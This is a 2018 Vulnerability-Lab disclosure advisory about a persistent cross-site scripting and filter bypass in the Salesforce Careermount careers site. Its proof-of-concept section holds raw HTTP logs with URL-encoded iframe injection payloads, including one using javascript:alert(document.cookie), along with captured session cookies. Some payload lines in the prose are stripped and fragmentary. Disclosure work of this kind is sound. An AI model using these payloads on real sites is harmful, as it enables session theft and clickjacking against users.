Document Title: =============== Salesforce Careermount - Bypass & XSS Web Vulnerability Date: ===== 2018-07-04 References: =========== https://www.vulnerability-lab.com/get_content.php?id=1969 VL-ID: ===== 1969 Common Vulnerability Scoring System: ==================================== 4 Vulnerability Class: ==================== Cross Site Scripting - Persistent Introduction: ============= There's never been a better time to work at salesforce.com, the fastest growing of the top 10 enterprise software companies. And this is just the beginning for us. Salesforce.com is growing at an amazing rate, with new career opportunities opening up every day. Whether you're an account executive in Sydney or a quality engineer in San Francisco, you're likely to find just the role you've been looking for. Start searching now! (Copy of the Vendor Homepage: http://salesforce.careermount.com ) Abstract: ========= The vulnerability laboratory core research team discovered a persistent vulnerability in the official Salesforce Careermount online service web-application. Report-Timeline: ================ 2018-07-05: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A persistent cross site scripting web vulnerability has been discovered in the official Salesforce Careermount web-application. The vulnerability allows remote attackers to inject own malicious script codes on the application-side of the vulnerable module. The vulnerability is located in the `/main/sendform/8/8/27051/1/` modules GET method request. Remote attackers are able to use the Send to Friends function of the application to send malicious script codes. The validation process of the mechanism does not parse the input/output of the sendform context. The execution occurs in the /main/sendform/8/8/27051/1/` module context after the review of the about me page via GET method request. The attack vector is persistent on the application-side and the request method to inject the payload is POST. The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9. Exploitation of The persistent vulnerability requires a low privileged web-application user account and low or medium user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] GET Vulnerable Module(s): [+] /main/sendform/8/8/27051/1/ Proof of Concept: ================= The AKA Persistent Cross Site Type I web Vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Salesforce Careermount website owner use XSS filters(WAF) to protect against XSS vulnerability. For eg: if I put the "> , There is nothing ....
this script won't work. Likewise Filters use different type of filtering method to give protection against the XSS. In this case, we can use some tricks to bypass the filter....;) Now open your Mind and i will show you some trick to bypassing the filter [+] Steps : Salesforce Careermount Missing HTTP Header "X-Frame-Options" => Clickjacking Defense --- PoC Session Logs [GET] --- GET /main/sendform/8/8/27051/1/ HTTP/1.1 Host: salesforce.careermount.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: __utma=10312119.1519791206.1474808514.1475650796.1475658149.7; __utmz=10312119.1474808514.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=68%7C39%2C31%7C40; __atssc=google%3B2; logged=""; __utmc=10312119; JSESSIONID=1DD6A5C48971382BB4D225F710D13E5D.node01; __utmb=10312119.23.10.1475658149; __atuvs=57f4c1a51c6e0142016; __utma=74538496.1743178715.1475659339.1475659339.1475659339.1; __utmc=74538496; __utmz=74538496.1475659339.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1 Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx Date: Wed, 05 Oct 2016 09:53:20 GMT Content-Type: text/html;charset=utf-8 Set-Cookie: JSESSIONID=1DD6A5C48971382BB4D225F710D13E5D.node01; Expires=Wed, 05-Oct-2016 11:53:20 GMT; Path=/ Set-Cookie: logged=""; Path=/ Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache, no-store Content-Language: en-US Content-Encoding: gzip Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Note : The Clickjacking web attack is not Exploitable in Salesforce Careermount now we want to iframe another site like " portal.fullcontact.com" vulnerable to clickjacking in the Salesforce Careermount using this payload : ====> "> Successful iframe of the vulnerable fullcontact site to clickjacking web attack in the Salesforce Careermount web application POC Picture =====> prnt.sc/cq291c --- PoC Session Logs [GET] --- GET /main/sendform/8/8/27051/1/%22%3E%3Ciframe%20src=%22https://portal.fullcontact.com%22%3E%3C/iframe%3E HTTP/1.1 Host: salesforce.careermount.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: __utma=10312119.1519791206.1474808514.1475650796.1475658149.7; __utmz=10312119.1474808514.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=68%7C39%2C34%7C40; __atssc=google%3B2; logged=""; __utmc=10312119; JSESSIONID=1DD6A5C48971382BB4D225F710D13E5D.node01; __utmb=10312119.26.10.1475658149; __atuvs=57f4c1a51c6e0142019; __utma=74538496.1743178715.1475659339.1475659339.1475659339.1; __utmc=74538496; __utmz=74538496.1475659339.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx Date: Wed, 05 Oct 2016 10:06:17 GMT Content-Type: text/html;charset=utf-8 Set-Cookie: JSESSIONID=1DD6A5C48971382BB4D225F710D13E5D.node01; Expires=Wed, 05-Oct-2016 12:06:17 GMT; Path=/ Set-Cookie: logged=""; Path=/ Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache, no-store Content-Language: en-US Content-Encoding: gzip Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding GET /candidate/registration?formId=0&source=%2Fmain%2Fsendform%2F8%2F8%2F27051%2F1%2F%2522%253E%253Ciframe%2520src%3D%2522https%3A%2F%2Fportal.fullcontact.com%2522%253E%253C%2Fiframe%253E HTTP/1.1 Host: salesforce.careermount.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest SpecialAjaxRequest: true Referer: http://salesforce.careermount.com/main/sendform/8/8/27051/1/%22%3E%3Ciframe%20src=%22https://portal.fullcontact.com%22%3E%3C/iframe%3E Cookie: __utma=10312119.1519791206.1474808514.1475650796.1475658149.7; __utmz=10312119.1474808514.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=68%7C39%2C34%7C40; __atssc=google%3B2; logged=""; __utmc=10312119; JSESSIONID=1DD6A5C48971382BB4D225F710D13E5D.node01; __utmb=10312119.27.10.1475658149; __atuvs=57f4c1a51c6e0142019; __utma=74538496.1743178715.1475659339.1475659339.1475659339.1; __utmc=74538496; __utmz=74538496.1475659339.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1 Connection: keep-alive HTTP/1.1 200 OK Server: nginx Date: Wed, 05 Oct 2016 10:06:18 GMT Content-Type: text/html;charset=UTF-8 Set-Cookie: JSESSIONID=1DD6A5C48971382BB4D225F710D13E5D.node01; Expires=Wed, 05-Oct-2016 12:06:18 GMT; Path=/ Set-Cookie: logged=""; Path=/ Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache, no-store Content-Language: en-US Content-Encoding: gzip Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding GET /signin/ HTTP/1.1 Host: portal.fullcontact.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://salesforce.careermount.com/main/sendform/8/8/27051/1/%22%3E%3Ciframe%20src=%22https://portal.fullcontact.com%22%3E%3C/iframe%3E Cookie: _ga=GA1.3.1543174033.1474818957; aperture.sails.sid=s%3ALdZ5C6Rlp8xlZeO1JWmA_xVK-lYpBafq.xsGkYNdeyiJWf4h5ii9HwCsPI4oxbcD7LfadGxL2Tec; _dc_gtm_UA-12693956-15=1; _dc_gtm_UA-12693956-33=1 Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=utf-8 Date: Wed, 05 Oct 2016 10:06:20 GMT Server: nginx/1.4.6 (Ubuntu) X-Powered-By: Sails Content-Length: 3535 Connection: keep-alive [+] HTML POC : FullContact API Developer Portal
now !!! We want to exploiting the Missing of the defending against "iframe" HTTP Header "X-Frame-Options" to iframe an AKA Persistent Cross Site Type I web Vulnerability using this payload : ====> "> --- PoC Session Logs [GET] --- GET /main/sendform/8/8/27051/1/%22%3E%3Ciframe%20src=%22javascript:alert(document.cookie)%22%3E%3C/iframe%3E HTTP/1.1 Host: salesforce.careermount.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: __utma=10312119.1519791206.1474808514.1475650796.1475658149.7; __utmz=10312119.1474808514.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=68%7C39%2C39%7C40; __atssc=google%3B2; logged=""; __utmc=10312119; JSESSIONID=1DD6A5C48971382BB4D225F710D13E5D.node01; __utmb=10312119.31.10.1475658149; __atuvs=57f4c1a51c6e014201e; __utma=74538496.1743178715.1475659339.1475659339.1475659339.1; __utmc=74538496; __utmz=74538496.1475659339.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1 Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx Content-Type: text/html;charset=utf-8 Set-Cookie: JSESSIONID=1DD6A5C48971382BB4D225F710D13E5D.node01; Expires=Wed, 05-Oct-2016 12:30:34 GMT; Path=/ Set-Cookie: logged=""; Path=/ Pragma: no-cache Cache-Control: no-cache, no-store Content-Language: en-US Content-Encoding: gzip Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding PoC: HTML
" method="post">


Follow us

PoC Picture: prnt.sc/cq2iis Risk: ===== The security risk of vulnerability in the Salesforce Careermount online service web-application is estimated as medium. Credits: ======== Vulnerability-Lab [research@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™